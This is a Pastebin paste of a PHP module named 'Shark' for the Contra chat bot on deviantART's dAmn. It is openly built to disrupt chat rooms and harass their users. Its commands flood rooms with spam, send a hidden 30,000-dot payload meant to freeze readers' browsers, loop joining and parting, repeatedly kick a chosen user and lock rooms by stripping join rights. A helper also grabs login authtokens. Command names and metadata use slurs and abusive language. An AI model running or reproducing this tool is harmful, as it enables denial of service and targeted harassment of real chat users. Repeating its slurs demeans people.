Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /* ---Shark module for Contra
- * Not to be redistributed unless you have explicitly gained my permission.
- * Written by bloodshedsniper/i-hate-mushrooms/i-haet-mushrooms <infernowasp@gmail.com>
- */
- class Shark extends extension {
- public $name = 'Shark';
- public $version = '4.2';
- public $about = 'No info, beat the fucking author, fagass.';
- public $status = true;
- public $author = 'i-hate-mushrooms';
- public $type = EXT_CUSTOM;
- function init() {
- $tr = $this->Bot->trigger;
- $this->addCmd('scl', 'shorten_chat', 99);
- $this->addCmd('f', 'c_freeze', 99);
- $this->addCmd('s', 'c_spam', 99);
- $this->addCmd('r', 'c_rape', 99);
- $this->addCmd('t', 'c_gettoken', 99);
- $this->addCmd('sr', 'c_spamrape', 99);
- $this->addCmd('log', 'c_login', 99);
- $this->addCmd('jsp', 'c_joinspampart', 99);
- $this->addCmd('kr', 'c_kickrape', 99);
- $this->addCmd('close', 'c_close', 99);
- // $this->addCmd('getcookie', 'c_cookie', 99);
- $this->cmdHelp('scl', "Usage: {$tr}scl <i>[add/change/set/del/list] <b>[chatname] [chat nick]</b></i>. <br>{tr}scl <i>[add] [chat] [chat nick]</i> adds [chat] to the list, and its replacement nickname with [chat nick]. Ex: {$tr}scl [add] #MagicCorner #MC will now look in all command usage for #MC and replace with #MagicCorner. A way to shorthand, if you will. <b>Note: In order for the nickname to work, you will need to use #nickname in most cases</b>.<br>{$tr}scl del <i>[chatname]</i> will remove [chat]'s nickname from the list.<br>{$tr}scl [change/set] <i> [chatname] [new nickname]</i> will change the stored nickname for [chatname] to [new nickname]. Ex: {$tr}scl [change/set] #MagicCorner #MCorner will change the nickname from #MC to #MCorner.<br>{$tr}scl <i>[list]</i> will list all the stored chatrooms with their nicknames.");
- $this->cmdHelp('f', 'Freeze. Made specifically to freeze browsers. Outputs 30k dots in a hidden abbr per send. Will show as a blank send to normal users. Multiple send (using a number more than one) doesn\'t seem to work yet. f room 1');
- $this->cmdHelp('s', 'Spam. Basic flood cmd. s room number msg');
- $this->cmdHelp('r', 'Rape. join, part, join process loop. r room number');
- $this->cmdHelp('t', 'Grabs an autotoken. -The terminal input password feature doesn\'t seem to work very well on Linux. t username password');
- $this->cmdHelp('sr', 'Spam rape. msg, part, join, msg process loop. sr room number msg');
- $this->cmdHelp('log', 'Login. -The terminal input password feature doesn\'t seem to work very well on Linux. log username password');
- $this->cmdHelp('jsp', 'join, spam, part. Joining and parting automated for ease/speed of use. jsp room number msg');
- $this->cmdHelp('kr', 'Kickrape. kr user number msg/reason');
- $this->cmdHelp('close', 'Close a room. Based on :devMNBot:\'s close cmd; lacks close confirmation. Bot account must be in pc with +admin.');
- // $this->cmdHelp('getcookie', 'No help for this command, beat the author.');
- }
- function c_close($ns, $from, $message, $target) {
- $tg = args($message, 1);
- if (empty($tg))
- //foreach($this->dAmn->chat[$ns]['pc'] as $ord => $pc) {$this->dAmn->admin($ns, " remove privclass $pc");}
- foreach($this->dAmn->chat[$ns]['pc'] as $ord => $pc) {$this->dAmn->admin($ns, " update privclass $pc -join");}
- /* $this->dAmn->admin($ns, " update privclass $pc -msg");
- $this->dAmn->admin($ns, " rename privclass $pc to Faggots");
- $this->dAmn->admin($ns, " rename privclass Faggots to Holy");
- $this->dAmn->admin($ns, " rename privclass Holy to Shit");
- $this->dAmn->admin($ns, " rename privclass Shit to Look");
- $this->dAmn->admin($ns, " rename privclass Look to At");
- $this->dAmn->admin($ns, " rename privclass At to What");
- $this->dAmn->admin($ns, " rename privclass What to Is");
- $this->dAmn->admin($ns, " rename privclass Is to Happening");
- $this->dAmn->admin($ns, " rename privclass Happening to Rofl");
- $this->dAmn->admin($ns, " rename privclass Rofl to You");
- $this->dAmn->admin($ns, " rename privclass You to Got");
- $this->dAmn->admin($ns, " rename privclass Got to Owned");
- $this->dAmn->admin($ns, " rename privclass Owned to FuckedOver");}
- $this->dAmn->set($ns, "title", "<b>i accidentally in your base</b>");
- $this->dAmn->set($ns, "topic", str_repeat(':iconlololplz:', 2000));*/
- }
- function shorten_chat( $ns, $from, $msg, $target ) {
- $com = args( $msg, 1 );
- $chats = args( $msg, 2 );
- $nick = args( $msg, 3 );
- $tr = $this->Bot->trigger;
- if(file_exists("./storage/chatnick.cf")){
- $scl = include "/storage/chatnick.cf";
- }
- switch ( strtolower( $com ) ) {
- //For space saving, we'll combine change and add.
- case "add":
- case "change":
- case "set":
- //If you use add, this command will be a little less flexible. You will not be able to change the stored nickname with add, but if you use change or set, you will be able to replace one already stored on the list with the new one.
- if( empty( $chats ) || empty ( $nick ) ){
- return $this->dAmn->say($ns, "$from: Usage: {$tr}scl [$com] <i>[chatname] [chat nickname]. This adds [chatname] to the list, and its replacement nickname with [chat nickname]. Ex: {$tr}scl {$com} #MagicCorner #MC will now look in all command usage for #MC and replace with #MagicCorner. A way to shorthand, if you will.<br>Note: In order for the chat to work, you will need to use #nickname in most cases.");
- }
- //Checking the stored nicknames. We wouldn't want multiple chatrooms being nicknamed the same thing, would get kind of.. weird.
- foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
- if( strtolower( $nick1 ) == $this->dAmn->deform_chat( strtolower( $nick ) ) ){
- return $this->dAmn->say($ns, "$from: $nick is already being used as a nickname for {$chat1}.");
- }
- }
- if( isset( $scl["chatnicks"][$this->dAmn->deform_chat( strtolower( $chats ) )] ) && $com == "add"){
- return $this->dAmn->say( $ns, "$from: $chats already has a stored nickname. It's {$scl['chatnicks'][strtolower( $chats )]}");
- }
- $scl['chatnicks'][$this->dAmn->deform_chat( strtolower( $chats ) )] = $this->dAmn->deform_chat( strtolower( $nick ) );
- ksort( $scl['chatnicks'] );
- save_config("./storage/chatnick.cf", $scl);
- $this->dAmn->say($ns, "$from: {$nick} has been set for {$chats}, and can now be used in place of {$chats} in commands when you want to use commands in there.");
- break;
- //For the sake of flexibility, let's just use delete, del, remove, rem. Contra does remove/rem all over the place.
- case "del":
- case "remove":
- case "rem":
- case "delete":
- if( empty( $chats ) ){
- return $this->dAmn->say($ns, "$from: Usage: <br>{$tr}scl del <i>[chatname]</i> will remove [chat]'s nickname from the list.");
- }
- if( !isset( $scl['chatnicks'][$this->dAmn->deform_chat( strtolower( $chats ) )] ) ){
- return $this->dAmn->say($ns, "$from: $chats has no nickname stored.");
- }
- unset( $scl['chatnicks'][$this->dAmn->deform_chat( strtolower( $chats ) )] );
- ksort( $scl['chatnicks'] );
- save_config("./storage/chatnick.cf", $scl);
- $this->dAmn->say($ns, "$from: $chats no longer has a nickname and has been removed from the list. You must now use $chats for commands to that room.");
- break;
- case "list":
- if( empty( $scl['chatnicks'] ) ) {
- return $this->dAmn->say($ns, "$from: There aren't currently any chatrooms with nicknames. Type \"{$tr}scl ?\" for help and to get started.");
- }
- $say = "Your <b>chat nicknames</b> include: <br><sub>";
- foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
- $say .= "( $chat1 ==> $nick1 ) ";
- }
- $say .= "</sub><br>--------------------------";
- $this->dAmn->say($ns, $say);
- break;
- default:
- if( !empty( $scl['chatnicks'] ) ){
- foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
- if( strtolower( $nick1 ) == $this->dAmn->deform_chat( strtolower( $com ) ) ){
- $this->dAmn->say($ns, "$from: $com is the stored nickname for {$chat1}");
- }
- }
- if( isset( $scl['chatnicks'][$this->dAmn->deform_chat( strtolower( $com ) )] ) ){
- $this->dAmn->say($ns, "$from: $com is nicknamed {$scl['chatnicks'][$this->dAmn->deform_chat( strtolower( $com ) )]}. You may use that nickname in place of $com in select commands.");
- }
- }
- break;
- }
- }
- function c_freeze($ns, $from, $message, $target) {
- $tg = args($message, 1);
- foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
- if($nick1 == $this->dAmn->deform_chat( strtolower( $targetroom ) ) ){
- $targetroom = $chat1;
- }
- }
- $nu = args($message, 2, true);
- //This is to load the list for us.
- if(file_exists("./storage/chatnick.cf")){
- $scl = include "./storage/chatnick.cf";
- }
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> f room number');
- else
- $this->dAmn->join("chat:$tg");
- for ($i = 0; $i < $nu; $i++) {
- $this->dAmn->say("chat:$tg", "<abbr title='" . str_repeat('.', 30000) . "'>	</abbr>");
- }
- }
- function c_spam($ns, $from, $message, $target) {
- $tg = args($message, 1);
- foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
- if($nick1 == $this->dAmn->deform_chat( strtolower( $targetroom ) ) ){
- $targetroom = $chat1;
- }
- }
- $nu = args($message, 2);
- $msg = args($message, 3, true);
- //This is to load the list for us.
- if(file_exists("./storage/chatnick.cf")){
- $scl = include "./storage/chatnick.cf";
- }
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> s room number msg');
- else
- $this->dAmn->join("chat:$tg");
- for($i = 0; $i < $nu; $i++) {
- $this->dAmn->say("chat:$tg", $msg);
- }
- }
- function c_joinspampart($ns, $from, $message, $target) {
- $tg = args($message, 1);
- foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
- if($nick1 == $this->dAmn->deform_chat( strtolower( $targetroom ) ) ){
- $targetroom = $chat1;
- }
- }
- $nu = args($message, 2);
- $msg = args($message, 3, true);
- //This is to load the list for us.
- if(file_exists("./storage/chatnick.cf")){
- $scl = include "./storage/chatnick.cf";
- }
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> jsp room number msg');
- else
- $this->dAmn->join("chat:$tg");
- for ($i = 0; $i < $nu; $i++) {
- $this->dAmn->say("chat:$tg", $msg);
- }
- $this->dAmn->part("chat:$tg");
- }
- function c_rape($ns, $from, $message, $target) {
- $tg = args($message, 1);
- foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
- if($nick1 == $this->dAmn->deform_chat( strtolower( $targetroom ) ) ){
- $targetroom = $chat1;
- }
- }
- $nu = args($message, 2, true);
- //This is to load the list for us.
- if(file_exists("./storage/chatnick.cf")){
- $scl = include "./storage/chatnick.cf";
- }
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> r room number');
- else {
- for ($i = 0; $i < $nu; $i++) {
- $this->dAmn->part("chat:$tg");
- $this->dAmn->join("chat:$tg");
- }
- }
- }
- /* function c_gettoken($ns, $from, $message, $target) {
- $user = args($message, 1);
- $pass = args($message, 2);
- $un = args($message, 3, true);
- if (empty($user))
- return
- $this->dAmn->say($ns, $from.': <b>Usage:</b> At least provide a username.');
- elseif (empty($pass)) {
- $this->dAmn->say($ns, $from.': Enter password in terminal/console. (This doesn\'t seem to work well on Linux btw lol)');
- print "What's the password? ";
- $pass = trim(fgets(STDIN));
- }
- $cookie = cookiegrab($user, $pass);
- if (empty($cookie))
- $this->dAmn->say($ns, $from.': Invalid username or password.');
- $this->dAmn->say($ns, $from.': ' . $cookie['authtoken']);
- }*/
- function c_spamrape($ns, $from, $message, $target) {
- $tg = args($message, 1);
- foreach( $scl['chatnicks'] as $chat1 => $nick1 ){
- if($nick1 == $this->dAmn->deform_chat( strtolower( $targetroom ) ) ){
- $targetroom = $chat1;
- }
- }
- $nu = args($message, 2);
- $msg = args($message, 3, true);
- //This is to load the list for us.
- if(file_exists("./storage/chatnick.cf")){
- $scl = include "./storage/chatnick.cf";
- }
- if (empty($tg))
- $this->dAmn->say($ns, $from.': <b>Usage:</b> sr room number');
- else
- for($i = 0; $i < $nu; $i++) {
- $this->dAmn->join("chat:$tg");
- $this->dAmn->say("chat:$tg", $msg);
- $this->dAmn->part("chat:$tg");
- }
- }/*
- function c_login($ns, $from, $message, $target) {
- $user = args($message, 1);
- $pass = args($message, 2);
- $wut = args($message, 3, true);
- if (empty($user))
- $this->dAmn->say($ns, $from.': At least provide a username.');
- elseif (empty($pass)) {
- $this->dAmn->say($ns, $from.': Enter password in the console. (This doesn\'t seem to work well on Linux btw lol)');
- print "What's $user's password? ";
- $pass = trim(fgets(STDIN));
- }
- $cookie = cookiegrab($user, $pass);
- if (empty($cookie))
- $this->dAmn->say($ns, $from.': Invalid username or password.');
- $this->Bot->username = $user;
- $this->Bot->cookie['authtoken'] = $cookie['authtoken'];
- $this->dAmn->disconnect();
- }*/
- function c_kickrape($ns, $from, $message, $target) {
- $user = args($message, 1);
- $nu = args($message, 2);
- $res = args($message, 3, true);
- //This is to load the list for us.
- if(file_exists("./storage/chatnick.cf")){
- $scl = include "./storage/chatnick.cf";
- }
- if(empty($user)) {
- $this->dAmn->say($ns, $from.': <b>Usage:</b> kr username number msg/reason');
- return;
- }
- if (!is_numeric($nu))
- $r = args($message, 2, true); $r = $r==''?false:$r;
- for($i = 0; $i < $nu; $i++) {
- sleep(1);
- $this->dAmn->kick($target, $user, $res);
- }
- }
- }
- define('LBR', chr(10));
- function cookiegrab($username, $pass) {
- $socket = fsockopen('ssl://www.deviantart.com', 443);
- if ($socket === false) {
- echo '>> Unable to connect.'.LBR;
- echo '>> Check your connection.'.LBR;
- return 1;
- }
- $POST = 'ref='.urlencode('https://www.deviantart.com/users/login');
- $POST.= '&username='.urlencode($username);
- $POST.= '&password='.urlencode($pass);
- $POST.= '&reusetoken=1' . chr(0);
- fputs($socket, 'POST /users/login HTTP/1.1'.LBR);
- fputs($socket, 'Host: www.deviantart.com'.LBR);
- fputs($socket, 'User-Agent: Authtoken grabber'.LBR);
- fputs($socket, 'Accept: text/html'.LBR);
- fputs($socket, 'Cookie: skipintro=1'.LBR);
- fputs($socket, 'Content-Type: application/x-www-form-urlencoded'.LBR);
- fputs($socket, 'Content-Length: ' . strlen ($POST) . LBR . LBR . $POST);
- $response = '';
- while (!feof ($socket))
- $response .= fgets ($socket, 500);
- fclose ($socket);
- if(!empty($response)) {
- $response = urldecode($response);
- $response = substr($response, strpos($response,'=')+1);
- $cookie = unserialize(substr($response, 0, strpos($response, ';};')+2));
- if(is_array($cookie)) {
- if(array_key_exists('authtoken', $cookie))
- return $cookie;
- }
- }
- return Null;
- }
- new Shark($core);
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement